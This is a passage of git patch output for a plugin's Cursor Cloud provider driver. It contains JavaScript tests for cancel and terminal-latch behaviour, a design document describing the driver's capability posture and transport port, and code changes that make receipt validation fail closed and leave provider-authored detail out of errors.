driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + const observed = driver.reconcile(requestFor('reconcile')); + assert.equal(observed.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); From 6c3ef975e4eb431755aa3d1891efff01c8d0e05d Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:38:34 +0000 Subject: [PATCH 38/81] test(cloud): cover cancel, terminal latches, and archive evidence Prove cancellation targets only the exact recorded Cloud run, reports cancel and archive outcomes truthfully, and treats terminal evidence as absorbing: later cancel is already_terminal with no further transport. --- .../test/r1-cursor-cloud-driver.test.mjs | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs index b87bbf4..225d81b 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -612,3 +612,131 @@ test('uncertain dispatch plus lost observation stays dispatch_uncertain without assert.equal(observed.disposition, 'dispatch_uncertain'); expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); }); + +test('cancel targets only the exact recorded run and reports archive truthfully', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const send = cursorCloudCallsOf(transport, 'send')[0]; + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); + assert.equal(cancelled.detail_code, 'archive_confirmed'); + assert.match(cancelled.detail_message, /archived=true/u); + const cancel = cursorCloudCallsOf(transport, 'cancel')[0]; + assert.equal(cancel.agent_id, send.agent_id); + assert.equal(cancel.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(cancel.request_id, send.request_id); +}); + +test('cancel reports a failed archive without claiming the agent was archived', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: false, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'cancel_confirmed'); + assert.equal(cancelled.detail_code, 'archive_failed'); + assert.match(cancelled.detail_message, /archived=false/u); +}); + +test('cancel_requested stays nonterminal so a later cancel may still reach transport', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [ + (request) => ({ + outcome: 'cancel_requested', + archived: false, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + }), + (request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + }), + ], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const first = driver.cancel(requestFor('cancel')); + assert.equal(first.disposition, 'cancel_requested'); + const second = driver.cancel(requestFor('cancel')); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transportCounts(transport).cancel, 2); +}); + +test('terminal reconcile latches later cancel as already_terminal without transport', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const cancelled = driver.cancel(requestFor('cancel')); + assert.equal(cancelled.disposition, 'already_terminal'); + assert.equal(cancelled.detail_code, 'already_terminal'); + assert.equal(transportCounts(transport).cancel, 0); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(transportCounts(transport).observe, 1); +}); + +test('confirmed cancellation latches later cancel as already_terminal without transport', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + assert.equal(driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + assert.equal(transportCounts(transport).cancel, 1); + const again = driver.cancel(requestFor('cancel')); + assert.equal(again.disposition, 'already_terminal'); + assert.equal(transportCounts(transport).cancel, 1); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(transportCounts(transport).observe, 0); +}); + +test('cancel refuses a different Cloud agent or run identity', () => { + const transport = createScriptedCursorCloudTransportV1({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: 'bc-other-agent', + provider_run_id: request.provider_run_id, + request_id: request.request_id, + ...identityFields(), + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.cancel(requestFor('cancel')), 'stale_identity_denied'); +}); + +test('inspect evidence after cancel exposes recorded identities without prompt text', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + driver.cancel(requestFor('cancel')); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.agent_id, cursorCloudCallsOf(transport, 'send')[0].agent_id); + assert.equal(evidence.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(evidence.request_id, cursorCloudCallsOf(transport, 'send')[0].request_id); + assert.doesNotMatch(JSON.stringify(evidence), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(evidence), /envelope_text|prompt/u); +}); From 65bcb9bad91ded55e9970e227e381520af337a7c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:55:55 +0000 Subject: [PATCH 39/81] test(cloud): enforce no-PR and hostile receipt boundaries --- docs/cursor-cloud-driver.md | 118 +++ .../mcp/v3/cursor-cloud-driver.mjs | 565 ++++++++--- .../r1-cursor-cloud-driver-fixtures.mjs | 1 + ...1-cursor-cloud-driver-adversarial.test.mjs | 959 ++++++++++++++++++ .../test/r1-cursor-cloud-driver.test.mjs | 5 + 5 files changed, 1484 insertions(+), 164 deletions(-) create mode 100644 docs/cursor-cloud-driver.md create mode 100644 plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs diff --git a/docs/cursor-cloud-driver.md b/docs/cursor-cloud-driver.md new file mode 100644 index 0000000..ef21565 --- /dev/null +++ b/docs/cursor-cloud-driver.md @@ -0,0 +1,118 @@ +# Cursor Cloud SDK provider driver (P21) + +Status: implemented against an injected bounded Cursor SDK transport port. +Not real-transport qualified. + +The P21 `CursorCloudDriverV1` (`plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs`) +is the Cursor Cloud adapter over the accepted P17 `ProviderDriverV1` +contract. It owns only the Cloud-specific wiring; every request/result +shape, capability posture, transition rule, and denial code is inherited +from the accepted contract. It defines no parallel envelope or capability +schema. Existing `mcp/v3/cursor-cloud-worker.mjs` is unchanged. + +## Hard binding + +- Provider slot: `cursor-cloud` exactly. Every other provider fails closed + with `provider_slot_mismatch`. +- Exact requested and effective model: preflight is ready only when the + transport attests the envelope model on both `requested_model` and + `effective_model`. Substitution is `model_unattested`. +- Workspace: remote provider-managed, starting at a pinned pushed SHA. The + envelope `starting_ref` must be a lowercase 40-hex commit identical to + the immutable run `base_sha`. +- Repository identity: credential-free host/path plus https URL. Credentials, + query, fragment, and mutable/duplicate identities fail closed. + +## Honest capability + +The shipped declaration is fixed to: + +- `workspace_semantics: remote_provider_managed` +- `workspace_starting_point: pinned_pushed_sha` +- `exact_model_selection: exact_and_attested` +- `dispatch_certainty: confirmed_launch` +- `same_session_reply: unsupported_unresolved_attention` +- `create_pr_posture: prohibited` +- `merge_authority: none_codex_only_integration` +- `replay_posture: never_replay` + +Concretely: + +- Launch reports `dispatched` only after an authoritative SDK run identity: + cloud agent id, provider run id, and stable request id, plus branch + identity. +- Any uncertainty after create or send intent is `dispatch_uncertain` and is + never replayed, retried, or fallback-substituted. +- Same-session reply is unsupported. Reconcile surfaces pending questions as + `unresolved_attention` and never starts a replacement run. +- `auto_create_pr` is always `false`. Merge, create-PR, and push keys fail + closed. + +## Preflight rejections + +Preflight blocks (closed detail pair, no transport-authored text): + +- dirty checkout +- absent origin +- non-commit starting ref +- invisible starting SHA +- base advancement (`head_sha` or starting SHA drifted from the pin) +- unattested model + +Preflight throws (security/identity): + +- credential-bearing repository identity +- ambiguous duplicate identities +- automatic PR authorization + +## Injected bounded SDK transport port + +`createCursorCloudDriverV1(transport)` / `bindCursorCloudDriverV1(transport)` +require a plain record exposing exactly six concrete synchronous functions +(Proxies, accessors, exotic prototypes, missing or extra operations are +denied): + +| Operation | Argument (frozen, bounded) | Receipt | +| ----------- | -------------------------- | ------- | +| `preflight` | child identity + starting SHA | workspace cleanliness, visibility, attested model, repository identity | +| `create` | identity + `auto_create_pr: false` | `{ created, agent_id, ...identity }` | +| `send` | identity + `agent_id` + `request_id` + envelope text | `{ acknowledged, agent_id, provider_run_id, request_id, branch, ...identity }` | +| `observe` | exact recorded agent/run/request identity | status plus independently verifiable Git/branch/base evidence | +| `cancel` | exact recorded agent/run/request identity | `{ outcome, archived, ...identity }` | +| `reattach` | exact recorded agent/run/request identity | `{ reattached, agent_id, provider_run_id, request_id, ...identity }` | + +Reconcile mapping: `running → in_progress`, `needs_attention → +unresolved_attention`, `completed/failed/cancelled → terminal` after Git +evidence verification, `lost → dispatch_uncertain`. Terminal verification +requires provider-reported state plus head SHA, merge-base, and branch. +The adapter claims nothing the transport did not expose. + +`restart_reattach` recovers only the exact recorded agent/run/request +identity and never relaunches. + +## Cancellation and terminal latches + +Cancel targets only the exact recorded run. The receipt must report both +`outcome` (`cancel_requested` / `cancel_confirmed` / `already_terminal`) and +a boolean `archived`. `cancel_requested` stays nonterminal so a later cancel +may still be delivered. Completed/failed/cancelled observe status and +`cancel_confirmed` / `already_terminal` latch: later cancel is +`already_terminal` with no further transport. + +## Bounds and telemetry hygiene + +Event pages are at most 32 records of `{ kind, bytes }` from a closed kind +vocabulary. Detail messages are composed only from closed vocabulary words +and validated identifiers. Provider prompt, envelope text, secrets, PR URLs, +and transport-authored strings never reach a driver result, a detail pair, +or inspectable evidence. + +## Coverage and non-claims + +Coverage lives in `test/r1-cursor-cloud-driver.test.mjs` and +`test/r1-cursor-cloud-driver-adversarial.test.mjs`. + +This slice does NOT qualify a real Cursor Cloud transport. It claims no +durable store, scheduler, registry cutover, supervisor cutover, merge +authority, or automatic PR creation. One Luna Max exact review follows; +real Cursor Cloud transport qualification follows exact acceptance. diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs index 59fe35d..e084bf3 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs @@ -27,6 +27,12 @@ // - same-session reply is unsupported_unresolved_attention, never a new run; // - result/event/error data is bounded and content-free; hostile JSON, // proxies, accessors, caps, secrets, and prompt text fail closed. +// - post-transport receipt validation is quarantined locally: thrown +// diagnostics keep only a closed local code and a fixed operation path, +// message, and name. Provider-authored identity values, unknown keys, +// detail pairs, raw errors, stacks, causes, and expected canonical +// path/model/branch/run/request values never appear on public errors, +// results, or evidence. Caller-request validation is not collapsed. // // Capability posture is honest: remote managed workspace starting at a pinned // pushed SHA, exact-model selection only when attested, merge none, create PR @@ -67,6 +73,7 @@ import { import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; import { SHA40_PATTERN, + RunContractV1Error, assertAllowedKeys, assertBoundedText, assertDenseJsonArray, @@ -108,6 +115,7 @@ export const MAX_CURSOR_CLOUD_EVENT_PAGE = 32; export const MAX_CURSOR_CLOUD_EVENT_BYTES = 32 * 1024; export const MAX_CURSOR_CLOUD_EVENT_COUNT = 1_000_000; export const MAX_CURSOR_CLOUD_TIMING_MS = 86_400_000; +export const MAX_CURSOR_CLOUD_CURSOR_BYTES = 16; export const MAX_CURSOR_CLOUD_QUESTION_ID_BYTES = 80; export const CURSOR_CLOUD_OBSERVE_STATUSES = capturedFreeze([ @@ -181,7 +189,7 @@ const OBSERVE_RECEIPT_KEYS = capturedFreeze([ 'event_count', ]); const CANCEL_RECEIPT_KEYS = capturedFreeze([ - 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'provider', + 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', 'starting_sha', 'repository_identity', ]); @@ -208,6 +216,58 @@ const CONTENT_FORBIDDEN_KEYS = capturedFreeze([ const POST_INTENT_ERROR_CODES = capturedFreeze([ 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', ]); +const TRANSPORT_COLLAPSE_CODES = capturedFreeze([ + 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', +]); +const TRANSPORT_COLLAPSE_MESSAGES = capturedFreeze({ + send_ack_missing: 'cursor cloud send acknowledgement missing', + transport_exception: 'cursor cloud transport failed', + transport_lost: 'cursor cloud transport lost', + transport_timeout: 'cursor cloud transport timed out', +}); +const CLOSED_RECEIPT_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'content_key_denied', + 'credential_content_denied', 'dependency_not_allowed', 'detail_pair_denied', + 'direct_mode_rejected', 'duplicate_identity', 'executable_content_denied', + 'exotic_prototype_denied', 'invalid_exact_model_selection', 'invalid_format', + 'invalid_json_type', 'invalid_json_value', 'invalid_object', 'invalid_type', + 'malformed_receipt', 'merge_authority_denied', 'own_undefined_denied', + 'proxy_denied', 'replay_or_fallback_denied', 'repository_credentials', + 'stale_identity_denied', 'unknown_key', 'value_depth_exceeded', +]); +const CLOSED_RECEIPT_PATHS = capturedFreeze({ + preflight: 'cursor_cloud_transport.preflight', + create: 'cursor_cloud_transport.create', + send: 'cursor_cloud_transport.send', + observe: 'cursor_cloud_transport.observe', + cancel: 'cursor_cloud_transport.cancel', + reattach: 'cursor_cloud_transport.reattach', +}); +const CLOSED_RECEIPT_MESSAGES = capturedFreeze({ + preflight: 'Cursor Cloud preflight receipt failed closed validation; transport detail is omitted.', + create: 'Cursor Cloud create receipt failed closed validation; transport detail is omitted.', + send: 'Cursor Cloud send receipt failed closed validation; transport detail is omitted.', + observe: 'Cursor Cloud observe receipt failed closed validation; transport detail is omitted.', + cancel: 'Cursor Cloud cancel receipt failed closed validation; transport detail is omitted.', + reattach: 'Cursor Cloud reattach receipt failed closed validation; transport detail is omitted.', +}); +const CLOSED_RECEIPT_VALIDATION_MESSAGES = capturedFreeze({ + unknown_key: 'contains a key outside the closed Cursor Cloud receipt vocabulary.', + replay_or_fallback_denied: 'must not enable replay or fallback.', + credential_content_denied: 'must not carry credential material.', + merge_authority_denied: 'must not enable merge or create-PR authority.', + executable_content_denied: 'must not carry executable content.', + dependency_not_allowed: 'must not carry dependency edges.', + direct_mode_rejected: 'must not select direct workspace mode.', + content_key_denied: 'must not carry forbidden content keys.', + malformed_receipt: 'must be a plain closed Cursor Cloud receipt.', + invalid_type: 'must be a plain closed Cursor Cloud receipt.', + proxy_denied: 'must be concrete JSON data, not a Proxy.', +}); +const CURSOR_CLOUD_PROGRESS_STATUSES = capturedFreeze([ + ...CURSOR_CLOUD_OBSERVE_STATUSES, + 'truncated', +]); const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); const TERMINAL_LATCH_STATES = capturedFreeze([ @@ -403,24 +463,155 @@ function identityFromEnvelope(envelope, childEnvelopeDigest) { }); } -function assertReceiptIdentity(receipt, identity, path) { +function assertRequiredFalse(receipt, key, path, code, message) { + if (!hasOwn(receipt, key) || optOwn(receipt, key) !== false) { + fail(code, `${path}.${key}`, message); + } +} + +function assertCursorToken(value, path) { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a cursor string.`); + } + if (capturedUtf8ByteLength(value) > MAX_CURSOR_CLOUD_CURSOR_BYTES) { + fail('invalid_format', path, `${path} exceeds the cursor byte cap.`); + } + return assertPatternedId(value, CURSOR_CLOUD_CURSOR_PATTERN, path, 'event cursor'); +} + +function assertBoundedCount(value, path, max) { + if (!Number.isSafeInteger(value) || value < 0 || value > max) { + fail('invalid_format', path, `${path} must be a bounded non-negative integer.`); + } + return value; +} + +function assertBoundRepositoryAndSha(receipt, identity, boundRepository, path) { + if (!hasOwn(receipt, 'starting_sha')) { + fail('malformed_receipt', `${path}.starting_sha`, + `${path}.starting_sha must echo the immutable pinned starting SHA.`); + } + const startingSha = assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`); + if (startingSha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Transport starting SHA does not match the immutable pinned commit.'); + } + if (!hasOwn(receipt, 'repository_identity')) { + fail('malformed_receipt', `${path}.repository_identity`, + `${path}.repository_identity must echo the bound provider repository identity.`); + } + const repositoryIdentity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ); + if (boundRepository !== undefined && repositoryIdentity !== boundRepository) { + fail('stale_identity_denied', `${path}.repository_identity`, + 'Transport repository identity drifted from the bound provider repository.'); + } + return repositoryIdentity; +} + +function assertReceiptIdentity(receipt, identity, path, boundRepository) { for (const key of IDENTITY_ECHO_KEYS) { if (!hasOwn(receipt, key)) { - fail('malformed_receipt', `${path}.${key}`, - `${path}.${key} must echo the exact Cursor Cloud lane identity.`); + fail('malformed_receipt', path, + `${path} must echo the exact Cursor Cloud lane identity.`); } const actual = optOwn(receipt, key); const value = identity[key]; const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; if (!equal) { - fail('stale_identity_denied', `${path}.${key}`, - `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + fail('stale_identity_denied', path, + `${path} identity does not match the bound Cursor Cloud lane.`); } } - if (hasOwn(receipt, 'starting_sha') && optOwn(receipt, 'starting_sha') !== identity.starting_sha) { - fail('stale_identity_denied', `${path}.starting_sha`, - 'Transport starting SHA does not match the immutable pinned commit.'); + return assertBoundRepositoryAndSha(receipt, identity, boundRepository, path); +} + +function collapsedTransportError(operation, error) { + let code = 'transport_exception'; + try { + if (error !== null && typeof error === 'object' && !IS_PROXY(error) + && typeof error.code === 'string' + && capturedIncludes(TRANSPORT_COLLAPSE_CODES, error.code)) { + code = error.code; + } + } catch { + code = 'transport_exception'; } + return new RunContractV1Error( + code, + `cursor_cloud_transport.${operation}`, + optOwn(TRANSPORT_COLLAPSE_MESSAGES, code), + ); +} + +function closedReceiptCode(error) { + try { + if (error instanceof RunContractV1Error && typeof error.code === 'string' + && capturedIncludes(CLOSED_RECEIPT_ERROR_CODES, error.code)) { + return error.code; + } + } catch { + return 'malformed_receipt'; + } + return 'malformed_receipt'; +} + +function closedReceiptError(operation, error) { + return new RunContractV1Error( + closedReceiptCode(error), + optOwn(CLOSED_RECEIPT_PATHS, operation), + optOwn(CLOSED_RECEIPT_MESSAGES, operation), + ); +} + +function inspectProviderReceipt(operation, fn) { + try { + return fn(); + } catch (error) { + throw closedReceiptError(operation, error); + } +} + +function closedReceiptValidationMessage(code, path) { + const suffix = optOwn(CLOSED_RECEIPT_VALIDATION_MESSAGES, code) + ?? 'failed closed Cursor Cloud receipt validation.'; + return `${path} ${suffix}`; +} + +function invokeTransport(store, operation, request) { + try { + return callTransport(store, operation, request); + } catch (error) { + throw collapsedTransportError(operation, error); + } +} + +function guardLifecycle(operation, fn) { + try { + return fn(); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + throw collapsedTransportError(operation, error); + } +} + +function hasExactRecordedRunIdentity(record) { + return record !== undefined + && typeof record.agent_id === 'string' + && typeof record.provider_run_id === 'string' + && typeof record.request_id === 'string' + && typeof record.branch === 'string'; +} + +function evidenceTruncatedFlag(events, progress, status, priorTruncated) { + if (priorTruncated === true) return true; + if (status === 'truncated') return true; + if (progress !== undefined && progress.status === 'truncated') return true; + for (let index = 0; index < events.length; index += 1) { + if (events[index].kind === 'truncated') return true; + } + return false; } function assertClosedReceipt(receipt, allowedKeys, path) { @@ -429,7 +620,12 @@ function assertClosedReceipt(receipt, allowedKeys, path) { } assertDirectJsonClosure(receipt, path); assertPlainObject(receipt, 'malformed_receipt', path, path); - assertAllowedKeys(receipt, allowedKeys, path); + try { + assertAllowedKeys(receipt, allowedKeys, path); + } catch (error) { + const code = closedReceiptCode(error); + fail(code, path, closedReceiptValidationMessage(code, path)); + } } function assertNoContentKeys(value, path) { @@ -641,31 +837,22 @@ function markUncertain(store, identity, extras = {}) { } function assertExactRunBinding(receipt, record, path) { - if (record.agent_id !== undefined) { - const agentId = assertPatternedId( - optOwn(receipt, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, `${path}.agent_id`, 'agent_id', - ); - if (agentId !== record.agent_id) { - fail('stale_identity_denied', `${path}.agent_id`, - 'Receipt agent_id must match the exact recorded Cursor Cloud agent.'); - } - } - if (record.provider_run_id !== undefined && hasOwn(receipt, 'provider_run_id')) { - const runId = assertPatternedId( - optOwn(receipt, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, `${path}.provider_run_id`, 'provider_run_id', - ); - if (runId !== record.provider_run_id) { - fail('stale_identity_denied', `${path}.provider_run_id`, - 'Receipt provider_run_id must match the exact recorded Cursor Cloud run.'); + const checks = capturedFreeze([ + ['agent_id', CURSOR_CLOUD_AGENT_ID_PATTERN, 'agent_id'], + ['provider_run_id', CURSOR_CLOUD_RUN_ID_PATTERN, 'provider_run_id'], + ['request_id', CURSOR_CLOUD_REQUEST_ID_PATTERN, 'request_id'], + ['branch', CURSOR_CLOUD_BRANCH_PATTERN, 'branch'], + ]); + for (const [key, pattern, label] of checks) { + if (record[key] === undefined) continue; + if (!hasOwn(receipt, key)) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo the exact recorded Cursor Cloud ${label}.`); } - } - if (record.request_id !== undefined && hasOwn(receipt, 'request_id')) { - const requestId = assertPatternedId( - optOwn(receipt, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, `${path}.request_id`, 'request_id', - ); - if (requestId !== record.request_id) { - fail('stale_identity_denied', `${path}.request_id`, - 'Receipt request_id must match the exact recorded Cursor Cloud request identity.'); + const actual = assertPatternedId(optOwn(receipt, key), pattern, `${path}.${key}`, label); + if (actual !== record[key]) { + fail('stale_identity_denied', `${path}.${key}`, + `Receipt ${key} must match the exact recorded Cursor Cloud ${label}.`); } } } @@ -704,7 +891,29 @@ function projectProgress(progress, path) { assertDirectJsonClosure(progress, path); assertPlainObject(progress, 'malformed_receipt', path, path); assertAllowedKeys(progress, PROGRESS_KEYS, path); - return detachFrozenJson(progress); + const projected = {}; + if (hasOwn(progress, 'cursor')) { + projected.cursor = assertCursorToken(optOwn(progress, 'cursor'), `${path}.cursor`); + } + if (hasOwn(progress, 'event_count')) { + projected.event_count = assertBoundedCount( + optOwn(progress, 'event_count'), `${path}.event_count`, MAX_CURSOR_CLOUD_EVENT_COUNT, + ); + } + if (hasOwn(progress, 'elapsed_ms')) { + projected.elapsed_ms = assertBoundedCount( + optOwn(progress, 'elapsed_ms'), `${path}.elapsed_ms`, MAX_CURSOR_CLOUD_TIMING_MS, + ); + } + if (hasOwn(progress, 'status')) { + const status = optOwn(progress, 'status'); + if (!capturedIncludes(CURSOR_CLOUD_PROGRESS_STATUSES, status)) { + fail('invalid_format', `${path}.status`, + `${path}.status must be a closed Cursor Cloud progress status.`); + } + projected.status = status; + } + return freezeData(projected); } function projectAttention(attention, path) { @@ -720,11 +929,16 @@ function projectAttention(attention, path) { } function projectGitEvidence(receipt, identity, path) { - const startingSha = hasOwn(receipt, 'starting_sha') - ? assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`) - : identity.starting_sha; + const startingSha = assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`); + if (startingSha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Git evidence starting SHA does not match the immutable pinned commit.'); + } const evidence = { starting_sha: startingSha, + repository_identity: assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ), }; if (hasOwn(receipt, 'head_sha')) { evidence.head_sha = assertCommitSha(optOwn(receipt, 'head_sha'), `${path}.head_sha`); @@ -745,11 +959,6 @@ function projectGitEvidence(receipt, identity, path) { } evidence.linear_history = linear; } - if (hasOwn(receipt, 'repository_identity')) { - evidence.repository_identity = assertRepositoryIdentity( - optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, - ); - } return freezeData(evidence); } @@ -780,26 +989,27 @@ function runPreflight(store, request) { assertNoContentKeys(probe, 'cursor_cloud_transport.preflight.request'); let receipt; try { - receipt = callTransport(store, 'preflight', probe); + receipt = invokeTransport(store, 'preflight', probe); } catch (error) { void error; putLane(store, identity, { state: 'blocked', model: identity.model }); return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('transport_unavailable')); } + return inspectProviderReceipt('preflight', () => { assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); - assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); - if (optOwn(receipt, 'credential_bearing') === true) { - fail('repository_credentials', 'transport.preflight.result.credential_bearing', - 'Cursor Cloud repository identity must not carry credentials, query, or fragment data.'); - } - if (optOwn(receipt, 'duplicate_identities') === true) { - fail('duplicate_identity', 'transport.preflight.result.duplicate_identities', - 'Cursor Cloud preflight reported ambiguous duplicate agent or run identities.'); - } - if (optOwn(receipt, 'auto_create_pr') === true) { - fail('merge_authority_denied', 'transport.preflight.result.auto_create_pr', - 'Cursor Cloud preflight must not authorize automatic PR creation.'); - } + const repositoryIdentity = assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + assertRequiredFalse( + receipt, 'credential_bearing', 'transport.preflight.result', 'repository_credentials', + 'transport.preflight.result.credential_bearing must be exactly false.', + ); + assertRequiredFalse( + receipt, 'duplicate_identities', 'transport.preflight.result', 'duplicate_identity', + 'transport.preflight.result.duplicate_identities must be exactly false.', + ); + assertRequiredFalse( + receipt, 'auto_create_pr', 'transport.preflight.result', 'merge_authority_denied', + 'transport.preflight.result.auto_create_pr must be exactly false.', + ); const ok = optOwn(receipt, 'ok'); if (ok === true) { if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { @@ -835,9 +1045,6 @@ function runPreflight(store, request) { putLane(store, identity, { state: 'blocked', model: identity.model }); return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invisible')); } - const repositoryIdentity = assertRepositoryIdentity( - optOwn(receipt, 'repository_identity'), 'transport.preflight.result.repository_identity', - ); assertRepositoryUrl(optOwn(receipt, 'repository_url'), 'transport.preflight.result.repository_url'); putLane(store, identity, { state: 'ready', @@ -860,6 +1067,7 @@ function runPreflight(store, request) { } putLane(store, identity, { state: 'blocked', model: identity.model }); return driverResult('preflight', identity, 'blocked', blockedPreflightDetail(blockedCode)); + }); } function runLaunch(store, request) { @@ -888,6 +1096,7 @@ function runLaunch(store, request) { const createRequest = transportIdentityRequest(identity, { proposed_agent_id: proposed, repository_url: prior.repository_url, + repository_identity: prior.repository_identity, auto_create_pr: false, }); assertNoContentKeys(createRequest, 'cursor_cloud_transport.create.request'); @@ -896,29 +1105,35 @@ function runLaunch(store, request) { 'Cursor Cloud create must send auto_create_pr false; automatic PR creation is prohibited.'); } createInvoked = true; - const created = callTransport(store, 'create', createRequest); - assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); - if (optOwn(created, 'created') !== true) { - fail('malformed_receipt', 'transport.create.result.created', - 'transport.create.result.created must be exactly true.'); - } - assertReceiptIdentity(created, identity, 'transport.create.result'); - agentId = assertPatternedId( - optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.create.result.agent_id', 'agent_id', - ); - if (hasOwn(created, 'repository_identity')) { - repositoryIdentity = assertRepositoryIdentity( - optOwn(created, 'repository_identity'), 'transport.create.result.repository_identity', - ); - } + const created = invokeTransport(store, 'create', createRequest); + const createdView = inspectProviderReceipt('create', () => { + assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); + if (optOwn(created, 'created') !== true) { + fail('malformed_receipt', 'transport.create.result.created', + 'transport.create.result.created must be exactly true.'); + } + return { + repositoryIdentity: assertReceiptIdentity( + created, identity, 'transport.create.result', prior.repository_identity, + ), + agentId: assertPatternedId( + optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, + 'transport.create.result.agent_id', 'agent_id', + ), + }; + }); + repositoryIdentity = createdView.repositoryIdentity; + agentId = createdView.agentId; } catch (error) { + if (error instanceof RunContractV1Error && createInvoked !== true && !isPostIntentFailure(error)) { + throw error; + } if (createInvoked || isPostIntentFailure(error)) { return markUncertain(store, identity, { repository_identity: repositoryIdentity }); } putLane(store, identity, { state: 'not_sent', model: identity.model }); return driverResult('launch', identity, 'not_sent', { - detail_code: typeof error?.code === 'string' && 